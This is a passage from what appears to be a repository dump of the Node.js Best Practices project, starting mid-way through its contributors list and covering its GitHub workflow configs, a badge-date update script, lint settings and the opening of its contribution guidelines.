\"https://avatars1.githubusercontent.com/u/11459632?v=4\",\n      \"profile\": \"https://github.com/mikicho\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"jimmycallin\",\n      \"name\": \"Jimmy Callin\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/2225828?v=4\",\n      \"profile\": \"https://github.com/jimmycallin\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"w01fS\",\n      \"name\": \"Siddharth\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/26025955?v=4\",\n      \"profile\": \"https://www.linkedin.com/in/siddharthofficial/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ryan3E0\",\n      \"name\": \"Ryan Smith\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/1578766?v=4\",\n      \"profile\": \"https://ryansmith.tech/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"bttger\",\n      \"name\": \"Tom Boettger\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/49961674?v=4\",\n      \"profile\": \"https://de.linkedin.com/in/tom-boettger\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"jormaechea\",\n      \"name\": \"Joaquín Ormaechea\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/5612500?v=4\",\n      \"profile\": \"https://github.com/jormaechea\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"dfrzuz\",\n      \"name\": \"dfrzuz\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/71859096?v=4\",\n      \"profile\": \"https://github.com/dfrzuz\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"victor-homyakov\",\n      \"name\": \"Victor Homyakov\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/121449?v=4\",\n      \"profile\": \"https://github.com/victor-homyakov\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"josh-hemphill\",\n      \"name\": \"Josh\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/46608115?v=4\",\n      \"profile\": \"http://joshuahemphill.com\",\n      \"contributions\": [\n        \"content\",\n        \"security\"\n      ]\n    },\n    {\n      \"login\": \"alec-francis\",\n      \"name\": \"Alec Francis\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/32949882?v=4\",\n      \"profile\": \"https://github.com/alec-francis\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"arjun6610\",\n      \"name\": \"arjun6610\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/61268891?v=4\",\n      \"profile\": \"https://github.com/arjun6610\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"jan-osch\",\n      \"name\": \"Jan Osch\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/11651780?v=4\",\n      \"profile\": \"https://github.com/jan-osch\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"thiagotrs\",\n      \"name\": \"Thiago Rotondo Sampaio\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/32005779?v=4\",\n      \"profile\": \"https://github.com/thiagotrs\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"Alexsey\",\n      \"name\": \"Alexsey\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/6392013?v=4\",\n      \"profile\": \"https://github.com/Alexsey\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"13luismb\",\n      \"name\": \"Luis A. Acurero\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/32210483?v=4\",\n      \"profile\": \"https://github.com/13luismb\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"lromano97\",\n      \"name\": \"Lucas Romano\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/22394847?v=4\",\n      \"profile\": \"https://lromano97.github.io/\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"denisecase\",\n      \"name\": \"Denise Case\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/13016516?v=4\",\n      \"profile\": \"https://github.com/denisecase\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"elektronik2k5\",\n      \"name\": \"Nick Ribal\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/1078554?v=4\",\n      \"profile\": \"http://stackoverflow.com/story/elektronik\",\n      \"contributions\": [\n        \"content\",\n        \"review\"\n      ]\n    },\n    {\n      \"login\": \"0xflotus\",\n      \"name\": \"0xflotus\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/26602940?v=4\",\n      \"profile\": \"https://github.com/0xflotus\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"dijonkitchen\",\n      \"name\": \"Jonathan Chen\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/11434205?v=4\",\n      \"profile\": \"https://www.dijonkitchen.org/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"dilansri\",\n      \"name\": \"Dilan Srilal\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/5089728?v=4\",\n      \"profile\": \"https://github.com/dilansri\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"vladthelittleone\",\n      \"name\": \"vladthelittleone\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/4215285?v=4\",\n      \"profile\": \"https://vectree.ru\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"nosvalds\",\n      \"name\": \"Nik Osvalds\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/60047271?v=4\",\n      \"profile\": \"https://www.nikolaso.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kdaniel21\",\n      \"name\": \"Daniel Kiss\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/39854385?v=4\",\n      \"profile\": \"https://github.com/kdaniel21\",\n      \"contributions\": [\n        \"doc\"\n      ]\n    },\n    {\n      \"login\": \"forresst\",\n      \"name\": \"Forresst\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/163352?v=4\",\n      \"profile\": \"https://twitter.com/forresst17\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"svenheden\",\n      \"name\": \"Jonathan Svenheden\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/76098?v=4\",\n      \"profile\": \"https://github.com/svenheden\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"AustrisC\",\n      \"name\": \"AustrisC\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/12381652?v=4\",\n      \"profile\": \"https://github.com/AustrisC\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"cisco0808\",\n      \"name\": \"kyeongtae kim\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/60251188?v=4\",\n      \"profile\": \"https://github.com/cisco0808\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"6gx7iycn53ioq2e8apk1j1ypwov4giui\",\n      \"name\": \"007\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/65741741?v=4\",\n      \"profile\": \"https://keybase.io/651z9pz968v2accj\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"anediaz\",\n      \"name\": \"Ane Diaz de Tuesta\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/17216937?v=4\",\n      \"profile\": \"http://www.anediaz.com\",\n      \"contributions\": [\n        \"translation\",\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"YukiOta\",\n      \"name\": \"YukiOta\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/23182489?v=4\",\n      \"profile\": \"http://yukioh.net\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"Fdawgs\",\n      \"name\": \"Frazer Smith\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/43814140?v=4\",\n      \"profile\": \"https://www.yeovilhospital.co.uk/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"rluvaton\",\n      \"name\": \"Raz Luvaton\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/16746759?v=4\",\n      \"profile\": \"https://github.com/rluvaton\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"YA21\",\n      \"name\": \"Yuta Azumi\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/37298463?v=4\",\n      \"profile\": \"https://github.com/YA21\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"andrewjbarbour\",\n      \"name\": \"andrewjbarbour\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/77080074?v=4\",\n      \"profile\": \"https://github.com/andrewjbarbour\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"MasujimaRyohei\",\n      \"name\": \"mr\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/17163541?v=4\",\n      \"profile\": \"https://MasujimaRyohei.jp\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kubanac95\",\n      \"name\": \"Aleksandar\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/16191931?v=4\",\n      \"profile\": \"https://github.com/kubanac95\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"SuspiciousLookingOwl\",\n      \"name\": \"Owl\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/32597776?v=4\",\n      \"profile\": \"http://vincentjonathan.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"yedidyas\",\n      \"name\": \"Yedidya Schwartz\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/36074789?v=4\",\n      \"profile\": \"https://github.com/yedidyas\",\n      \"contributions\": [\n        \"content\",\n        \"example\"\n      ]\n    },\n    {\n      \"login\": \"ariel-diaz\",\n      \"name\": \"ari\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/20423540?v=4\",\n      \"profile\": \"https://github.com/ariel-diaz\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Vispercept\",\n      \"name\": \"Thomas König\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/7080389?v=4\",\n      \"profile\": \"http://www.koenigthomas.de/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"coocos\",\n      \"name\": \"Kalle Lämsä\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/1397804?v=4\",\n      \"profile\": \"https://github.com/coocos\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ZhyMC\",\n      \"name\": \"Wyatt\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/10328430?v=4\",\n      \"profile\": \"http://math.cat\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"tkhadir\",\n      \"name\": \"KHADIR Tayeb\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/45130488?v=4\",\n      \"profile\": \"http://libkhadir.fr\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"shankarregmi\",\n      \"name\": \"Shankar Regmi\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/7703345?v=4\",\n      \"profile\": \"https://github.com/shankarregmi\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"codebyshubham\",\n      \"name\": \"Shubham\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/10389723?v=4\",\n      \"profile\": \"https://github.com/codebyshubham\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"lucalves\",\n      \"name\": \"Lucas Alves\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/17712401?v=4\",\n      \"profile\": \"http://lucalves.me/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"benjaminudoh10\",\n      \"name\": \"Benjamin\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/9018331?v=4\",\n      \"profile\": \"https://github.com/benjaminudoh10\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"yjoer\",\n      \"name\": \"Yeoh Joer\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/47742486?v=4\",\n      \"profile\": \"https://www.yjoer.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Miigon\",\n      \"name\": \"Miigon\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/16161991?v=4\",\n      \"profile\": \"https://blog.miigon.net\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Egregor2011\",\n      \"name\": \"Rostislav Bogorad\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/3630318?v=4\",\n      \"profile\": \"http://brainstorage.me/Egregor2011\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Flouse\",\n      \"name\": \"Flouse\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/1297478?v=4\",\n      \"profile\": \"https://github.com/Flouse\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"taranttini\",\n      \"name\": \"Tarantini Pereira\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/6922125?v=4\",\n      \"profile\": \"http://taranttini.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kzmat\",\n      \"name\": \"Kazuki Matsuo\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/34614358?v=4\",\n      \"profile\": \"https://github.com/kzmat\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"burkybang\",\n      \"name\": \"Adam Smith\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/927886?v=4\",\n      \"profile\": \"https://github.com/burkybang\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"k906506\",\n      \"name\": \"Dohyeon Ko\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/33795856?v=4\",\n      \"profile\": \"https://codekodo.tistory.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"vlad99902\",\n      \"name\": \"Vladislav Legkov\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/67615003?v=4\",\n      \"profile\": \"https://github.com/vlad99902\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kerolloz\",\n      \"name\": \"Kerollos Magdy\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/36763164?v=4\",\n      \"profile\": \"http://kerolloz.github.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"erezLieberman\",\n      \"name\": \"Erez Lieberman\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/3277260?v=4\",\n      \"profile\": \"https://www.linkedin.com/in/erez-lieberman-b90b7219/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"breno404\",\n      \"name\": \"Breno Macedo\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/48841329?v=4\",\n      \"profile\": \"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"JFernando122\",\n      \"name\": \"Fernando Flores\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/40414805?v=4\",\n      \"profile\": \"https://github.com/JFernando122\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"rafaelconcept\",\n      \"name\": \"Rafael Brito\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/43880669?v=4\",\n      \"profile\": \"https://www.linkedin.com/in/rafaelconcept/\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"emiperalta\",\n      \"name\": \"Emiliano Peralta\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/63617637?v=4\",\n      \"profile\": \"https://emiliano-peralta-portfolio.vercel.app/\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"lannex\",\n      \"name\": \"Shin, SJ\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/7369541?v=4\",\n      \"profile\": \"https://lannex.github.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"e-e-e\",\n      \"name\": \"Benjamin Forster\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/12589522?v=4\",\n      \"profile\": \"http://www.benjaminforster.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"DanieleFedeli\",\n      \"name\": \"Daniele Fedeli\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/37077048?v=4\",\n      \"profile\": \"https://github.com/DanieleFedeli\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"djob195\",\n      \"name\": \"djob195\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/17146669?v=4\",\n      \"profile\": \"https://github.com/djob195\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"antspk\",\n      \"name\": \"antspk\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/78955792?v=4\",\n      \"profile\": \"https://github.com/antspk\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"jjy821\",\n      \"name\": \"정진영\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/88075341?v=4\",\n      \"profile\": \"https://jjy0821.tistory.com/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kkk-cashwalk\",\n      \"name\": \"kkk-cashwalk\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/91455122?v=4\",\n      \"profile\": \"https://github.com/kkk-cashwalk\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"apainintheneck\",\n      \"name\": \"apainintheneck\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/42982186?v=4\",\n      \"profile\": \"https://github.com/apainintheneck\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"koyanyaroo\",\n      \"name\": \"Fajar Budhi Iswanda\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/9715368?v=4\",\n      \"profile\": \"https://github.com/koyanyaroo\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"jutiger\",\n      \"name\": \"이주호\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/97490806?v=4\",\n      \"profile\": \"https://github.com/jutiger\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"MisterSingh\",\n      \"name\": \"Singh\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/44462019?v=4\",\n      \"profile\": \"https://github.com/MisterSingh\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Alex-Dumitru\",\n      \"name\": \"Alex Dumitru\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/43738450?v=4\",\n      \"profile\": \"https://github.com/Alex-Dumitru\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"lykhatskyi\",\n      \"name\": \"Anton Lykhatskyi\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/18104686?v=4\",\n      \"profile\": \"https://github.com/lykhatskyi\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"EverythingAvailable\",\n      \"name\": \"sangwonlee\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/81002379?v=4\",\n      \"profile\": \"https://github.com/EverythingAvailable\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"euberdeveloper\",\n      \"name\": \"Eugenio Berretta\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/33126163?v=4\",\n      \"profile\": \"https://github.com/euberdeveloper\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"soranakk\",\n      \"name\": \"soranakk\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/3930307?v=4\",\n      \"profile\": \"https://github.com/soranakk\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"backend-joonyoung\",\n      \"name\": \"고준영\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/94430145?v=4\",\n      \"profile\": \"https://github.com/backend-joonyoung\",\n      \"contributions\": [\n        \"content\",\n        \"code\"\n      ]\n    },\n    {\n      \"login\": \"GuilhermePortella\",\n      \"name\": \"Guilherme Portella \",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/59876059?v=4\",\n      \"profile\": \"https://github.com/GuilhermePortella\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Esser50K\",\n      \"name\": \"André Esser\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/18497570?v=4\",\n      \"profile\": \"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ShiChenCong\",\n      \"name\": \"Scc\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/22486446?v=4\",\n      \"profile\": \"https://github.com/ShiChenCong\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"mauroaccornero\",\n      \"name\": \"Mauro Accornero\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/1875822?v=4\",\n      \"profile\": \"https://www.mauroaccornero.it\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"no-yan\",\n      \"name\": \"no-yan\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/63000297?v=4\",\n      \"profile\": \"https://github.com/no-yan\",\n      \"contributions\": [\n        \"content\"\n      ]\n    }\n  ],\n  \"projectName\": \"nodebestpractices\",\n  \"projectOwner\": \"goldbergyoni\",\n  \"repoType\": \"github\",\n  \"repoHost\": \"https://github.com\",\n  \"skipCi\": true,\n  \"commitConvention\": \"angular\"\n}\n"
  },
  {
    "path": ".github/stale.yml",
    "content": "# Number of days of inactivity before an issue becomes stale\ndaysUntilStale: 90\n# Number of days of inactivity before a stale issue is closed\ndaysUntilClose: 10\n# Issues with these labels will never be considered stale\nexemptLabels:\n  - security\n# Label to use when marking an issue as stale\nstaleLabel: stale\n# Comment to post when marking an issue as stale. Set to `false` to disable\nmarkComment: >\n  Hello there! 👋\n  \n  This issue has gone silent. Eerily silent. ⏳\n  \n  We currently close issues after 100 days of inactivity. It has been 90 days\n  since the last update here.\n  \n  If needed, you can keep it open by replying here.\n  \n  Thanks for being a part of the Node.js Best Practices community! 💚\n# Comment to post when closing a stale issue. Set to `false` to disable\ncloseComment: false\n"
  },
  {
    "path": ".github/workflows/automerge-prs.yml",
    "content": "name: automerge\non:\n  pull_request:\n    types:\n      - labeled\n      - unlabeled\n      - synchronize\n      - opened\n      - edited\n      - ready_for_review\n      - reopened\n      - unlocked\n  pull_request_review:\n    types:\n      - submitted\n  check_suite:\n    types:\n      - completed\n  status: {}\njobs:\n  automerge:\n    runs-on: ubuntu-20.04\n    steps:\n      - name: automerge\n        uses: \"pascalgn/automerge-action@v0.15.5\"\n        env:\n          GITHUB_TOKEN: \"${{ secrets.GITHUB_TOKEN }}\"\n          MERGE_LABELS: \"auto-merge,!work in progress\"\n          MERGE_REMOVE_LABELS: \"auto-merge\"\n          MERGE_FORKS: \"false\"\n          MERGE_RETRIES: \"6\"\n          MERGE_RETRY_SLEEP: \"10000\"\n          MERGE_DELETE_BRANCH: \"true\"\n"
  },
  {
    "path": ".github/workflows/lint-and-generate-html-from-markdown.yml",
    "content": "name: Lint & Generate HTML from Markdown\non:\n  push:\n    branches:\n      - master\n  pull_request:\n\ndefaults:\n  run:\n    shell: bash\n    working-directory: .operations\n\njobs:\n  lint:\n    name: Lint\n    runs-on: ubuntu-20.04\n    env:\n      NODE_ENV: test\n\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v3\n\n      - name: Setup Node.js environment\n        uses: actions/setup-node@v3\n        with:\n          node-version: \"18\"\n\n      - run: npm install\n      - run: npm run lint\n"
  },
  {
    "path": ".github/workflows/update-date-in-last-update-badge.yml",
    "content": "name: Update date in last update badge\non:\n  push:\n    branches:\n      - master\n\njobs:\n  run:\n    name: Update the date in last update badge to today\n    runs-on: ubuntu-20.04\n\n    # Limit this action to only run on the main repo and not on forks\n    if: github.repository_owner == 'goldbergyoni'\n    \n    steps:\n      - name: Checkout repo\n        uses: actions/checkout@v3\n\n      - name: Update last update badge\n        run: |\n          # Make file runnable\n          chmod +x \"${GITHUB_WORKSPACE}/.github/workflows/update-last-update-badge.sh\"\n          # Run script\n          \"${GITHUB_WORKSPACE}/.github/workflows/update-last-update-badge.sh\" \"${GITHUB_WORKSPACE}/README.md\"\n\n      - name: Commit & Create Pull Request\n        uses: peter-evans/create-pull-request@v4\n        with:\n          commit-message: update the last update badge to today [skip ci]\n          author: Update Last Update Badge Action <${{ github.actor }}@users.noreply.github.com>\n          branch: update-last-update-badge\n          delete-branch: true\n          title: 'Update last update badge to today [skip ci]'\n          labels: |\n            update-last-update-badge\n            auto-merge\n          \n          # Force empty body as the action have default body\n          body: ''\n"
  },
  {
    "path": ".github/workflows/update-last-update-badge.sh",
    "content": "#!/bin/bash\nset -e\n\nINPUT_FILE=$1\n\nurl_encode() {\n    # url_encode <string>\n    local length=\"${#1}\"\n    for (( i = 0; i < length; i++ )); do\n        local c=\"${1:i:1}\"\n        case $c in\n            [a-zA-Z0-9.~_-]) printf \"$c\" ;;\n            *) printf '%%%02X' \"'$c\" ;;\n        esac\n    done\n}\n\nis_there_last_update_badge() {\n    local input_file=$1\n    local updated_badge_regex=$2\n\n    if grep -q \"$updated_badge_regex\" \"$input_file\"; then return 0\n    else return 1\n    fi\n}\n\nis_last_update_badge_date_is_today() {\n    local input_file=$1\n    local updated_badge=$2\n\n    if grep -q \"$updated_badge\" \"$input_file\"; then return 0\n    else return 1\n    fi\n}\n\n\n# We use already encoded string emoji because I'm on Windows and the calendar emoji failed to render\nCALENDAR_EMOJI_ENCODED='%F0%9F%93%85'\n\n# Date format example: March 03, 2021\nCURRENT_DATE=`date +\"%B %d, %Y\"`\n\n# We explicitly matching the img.shields.io/badge because when we change the provider of the badge the input will be changed too\nLAST_UPDATE_BADGE_REGEX='<img id=\"last-update-badge\" src=\"https:\\/\\/img\\.shields\\.io\\/badge\\/[^>]*>'\n\nUPDATED_BADGE_URL=\"https:\\/\\/img.shields.io\\/badge\\/${CALENDAR_EMOJI_ENCODED}$(url_encode \" Last update - ${CURRENT_DATE}-green\").svg\"\nUPDATED_LAST_UPDATE_BADGE=\"<img id=\\\"last-update-badge\\\" src=\\\"$UPDATED_BADGE_URL\\\" alt=\\\"Last update: $CURRENT_DATE\\\" />\"\n\n\nif ! is_there_last_update_badge \"$INPUT_FILE\" \"$LAST_UPDATE_BADGE_REGEX\"; then\n    # Print with red foreground\n    echo -e \"\\033[31mError: Can't find Last update badge\\033[m\"\n    exit 1\nfi\n\nif is_last_update_badge_date_is_today \"$INPUT_FILE\" \"$UPDATED_LAST_UPDATE_BADGE\"; then\n    echo \"No need to update the $INPUT_FILE, the last update badge already pointing to today\"\n    exit 0\nfi\n\nsed -i \"s@$LAST_UPDATE_BADGE_REGEX@$UPDATED_LAST_UPDATE_BADGE@\" \"$INPUT_FILE\"\n"
  },
  {
    "path": ".gitignore",
    "content": "*.log\r\n.idea\r\n.vscode\r\n.idea/**/*\r\n.vscode/**/*\r\n.nyc_output\r\nmochawesome-report\r\n.DS_Store\r\nnpm-debug.log.*\r\nnode_modules\r\nnode_modules/**/*\r\n.eslintcache\r\ncert\r\nlogs/*\r\ndesktop.ini\r\npackage-lock.json\r\n.history\r\n.env"
  },
  {
    "path": ".operations/.markdownlint.json",
    "content": "{\n  \"default\": true,\n  \"MD033\": false,\n  \"MD001\": false,\n  \"MD013\": false,\n  \"MD039\": false\n}"
  },
  {
    "path": ".operations/CONTRIBUTING.md",
    "content": "# Contribution guidelines\n\n## Lovely & friendly atmosphere\n\nOur code of conduct is 5 words long: we are all friends here\n\nWe recognize that being professional and kind are the same thing and strive to maximize our professionalism\n\n## Handling issues and PRs\n\n<br/>\nIn a nutshell, every issue is an opprtunity to gain new knowledge and attract new contributor. Therefore we aim for vast response and welcoming words 💚\n\nWhen merging a new PR, add the contributor to our credits list using the all-contributors bot. Just include this text as a PR comment:\n\n`@all-contributors please add @username for content`\n\nThe specific PR/issue resolustion depends on its kind:\n\n**A. New best practice or fundamental changes to existing content -** In that case, involve at least 1 other members to solicit enough feedback for this change. Start by greeting the contributor, ensure the formalities are fine, ensure it conforms to our [writing guidelines](./writing-guidelines.md), ensure enough information was provided and then get at least 1 more collaborators and allow at least a week for comments\n\n**B. Plain text change (e.g. Grammar correctness) 